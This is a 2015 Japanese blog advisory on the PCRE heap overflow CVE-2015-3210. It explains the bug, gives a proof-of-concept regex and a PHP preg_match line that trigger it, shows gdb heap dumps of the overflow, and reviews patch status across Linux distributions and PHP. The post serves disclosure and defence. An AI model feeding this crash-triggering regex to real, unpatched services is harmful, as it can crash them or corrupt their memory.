【速報】ヤバい?問題ない?エンジニアが知っておくべき「PCRE Heap Overflow / CVE-2015-3210」

2015.06.06

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

こんにちは、せーのです。今日は結構影響の大きそうな脆弱性についての詳細な説明と現時点での対応状況をお知らせ致します。

PCREライブラリとは

PCREライブラリというのは元々はPerlの正規表現と互換性のある正規表現を他の言語でも実現するために作られたライブラリで、現在はCentOSやFedora, RHEL等のLinux系のOSには標準でインストール出来る他、Apache,nginx等のミドルウェア、flash,mySql等のソフトウェア、PHP等このライブラリに依存しているパッケージは多く、システム構築をしたことのある方なら「error: pcre library is required」なんてエラーメッセージを見たことのある方もおおいのではないでしょうか。

どんな脆弱性?

今回の脆弱性は「CVE-2015-3210」という識別番号がついておりまして、内容としては「ヒープオーバーフロー」につながる脆弱性です。 PCREライブラリはC言語で実装されているのですが、正規表現処理compile_regex()を行う際に、mallocに割り当てられたサイズより大きなサイズが書きこまれてしまう、という脆弱性を使って任意のコードが実行できてしまう、というのが今回の脆弱性です。

具体例

もう少し具体的に見て行きましょう。今回の脆弱性は次のようなコードの実行時に引き起こされやすくなります。

/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/

どうでしょう。よくわかるような、わからないような。。。実際の言語で書くとどうなるでしょう。 上のコードを最新版のPHP5.6.9(PCRE 8.37を使用)で書くとこんな感じになります。

<?php
preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr);
?>

ちょっと見慣れた感じになりました。ではこれを実行したらこういう流れになります。

  • PHPのpreg_match()関数がPCREのpcre_compile2リンカを呼ぶ
  • pcre_compile2がcompile_regex()を呼び、まず正規表現の結果を格納するメモリサイズを計算する
  • 計算したメモリアドレスにポインタを指定する
  • pcre_compile2がもう一回compile_regex()を呼び、正規表現の実行結果を格納する

ここで最初に計算したメモリサイズより実際の実行結果の容量が大きくなってしまうわけです。 上のPHPコードをセキュリティ診断で有名なKali Linuxにて実行し、gdbを使ってヒープ領域の状態を見てみると次のようになっています。

==============================================================
gdb php poc.php
9217    re = (REAL_PCRE *)(PUBL(malloc))(size);
(gdb) x/10i $rip
=> 0x46f3cb <php_pcre_compile2+2187>:   mov    rdi,rbp
   0x46f3ce <php_pcre_compile2+2190>:   call   QWORD PTR [rax]
(gdb) x $rbp
   0x97:        Cannot access memory at address 0x97
==============================================================

この結果から上のコードを実行した結果のメモリサイズは0x97 = 151バイトで、アドレスは0x1007480となります。では2回目のcompile_regexpの実行前と実行後で0x1007480から160バイトの内容を比べてみましょう。

2回目のcompile_regexpの実行前

==============================================================
(gdb) x/160x 0x1007480
0x1007480:     [0x45    0x52    0x43    0x50    0x97    0x00    0x00    0x00
0x1007488:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1007490:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1007498:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074a0:      0x00    0x00    0x40    0x00    0x04    0x00    0x02    0x00
0x10074a8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074b0:      0xd0    0x7a    0x00    0x01    0x00    0x00    0x00    0x00
0x10074b8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074c0:      0x00    0x02    0x42    0x00    0x00    0x03    0x42    0x00
0x10074c8:      0x83    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074d0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074d8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074e0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074e8:      0x80    0x48    0xd8    0xf6    0xff    0x7f    0x00    0x00
0x10074f0:      0xff    0xff    0xff    0xff    0x00    0x00    0x00    0x00
0x10074f8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1007500:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1007508:      0x60    0x75    0x00    0x01    0x00    0x00    0x00    0x00
0x1007510:      0xff    0xff    0xff    0xff    0xff    0xff    0xff]   0xff
0x1007518:      0xa1    0x01    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================

2回目のcompile_regexpの実行後

==============================================================
(gdb) x/160x 0x1007480
0x1007480:     [0x45    0x52    0x43    0x50    0x97    0x00    0x00    0x00
0x1007488:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1007490:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1007498:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074a0:      0x00    0x00    0x40    0x00    0x04    0x00    0x02    0x00
0x10074a8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074b0:      0xd0    0x7a    0x00    0x01    0x00    0x00    0x00    0x00
0x10074b8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074c0:      0x00    0x02    0x42    0x00    0x00    0x03    0x42    0x00
0x10074c8:      0x83    0x00    0x51    0x1b    0x73    0x00    0x00    0x00
0x10074d0:      0x02    0x85    0x00    0x45    0x00    0x01    0x73    0x00
0x10074d8:      0x00    0x00    0x02    0x83    0x00    0x22    0x85    0x00
0x10074e0:      0x07    0x00    0x02    0x1d    0x63    0x78    0x00    0x07
0x10074e8:      0x81    0x00    0x12    0x85    0x00    0x0c    0x00    0x03
0x10074f0:      0x1d    0x61    0x73    0x00    0x00    0x00    0x02    0x78
0x10074f8:      0x00    0x0c    0x78    0x00    0x12    0x78    0x00    0x22
0x1007500:      0x1d    0x3e    0x1d    0x57    0x1d    0x47    0x1d    0x58
0x1007508:      0x1d    0x43    0x1d    0x52    0x1d    0x45    0x1d    0x44
0x1007510:      0x1d    0x49    0x1d    0x54    0x1d    0x53    0x78]  *0x00
0x1007518:     *0x45   *0x78   *0x00   *0x51    0x00    0x00    0x00    0x00
==============================================================

おわかりでしょうか。実行前は0x1007480から151バイト目にあたる0x1007510の7バイト目以降はデータはないのにも関わらず実行後は*に当たる部分がオーバーフロー、つまりデータが書き込まれています。今回の例では少なくとも5バイトはオーバーフローしていることになります。この脆弱性でヒープ領域に書き込まれた隣のフィールドに任意のデータを書き込むことができ、リモートによる攻撃が可能になる、というわけです。

対象となるバージョン

  • PCRE 8.34以上
  • PCRE2 10.10

2015/06/06(JST)現在の対応状況

PCREライブラリ

まずは根本原因であるPCREライブラリです。脆弱性は最新版であるPCRE8.37、PCRE2 10.10も対象となります。開発版ではPCRE, PCRE2共に修正されています

Linux系OS

Arch Linuxはアップデートにて対応したようですが、他のLinux OSには対応した形跡が見られませんでした。debianのセキュリティページも特に動いているようには見えませんし、RHELのバグジラには「正規表現が原因のクラッシュはセキュリティ事象として取り扱わない」というようなコメントがあったり、なんか出足が遅い気がします。ヒープオーバーフロー自体が脆弱性としては軽い、と見られているのでしょうか。それともまだテスト段階なのでしょうか。

PHP

PHP Securityによると

OSのPCREライブラリがアップデートされていれて、それとリンクしたPHPなら安全です。(RHEL/Fedoraなど) PHP本体のバンドル版PCREは5月リリースで更新されています。つまり、バンドル版を使ったPHPの場合は最新リリース版のみ安全です!

ということなのですが、「RHEL/FedoraでPCREライブラリがアップデートされている」「PHPのバンドル版PCREのアップデートが脆弱性をfixしたものである」というものを見つけることが出来ませんでした。ですので伝聞レベルを出ませんが、最新版なら安全、とのことです。

まとめ

いかがでしたでしょうか。ちなみに上のコードですが「WGXCREDITS」じゃなくても「AAAAAAAAAA」でも構いません。要は10文字の文字列であればいいようです。 ちなみに今回はPCREのヒープオーバーフローについてでしたが、PCREはスタックオーバーフローにも脆弱性が報告されています。 もしユーザーに正規表現を許可しているサイトを運営されている方はもちろん、ユーザーリクエストをそのまま無処理で正規表現に突っ込むような実装をしているシステムも一旦内容を見なおしたほうが安全かと思います。

参考サイト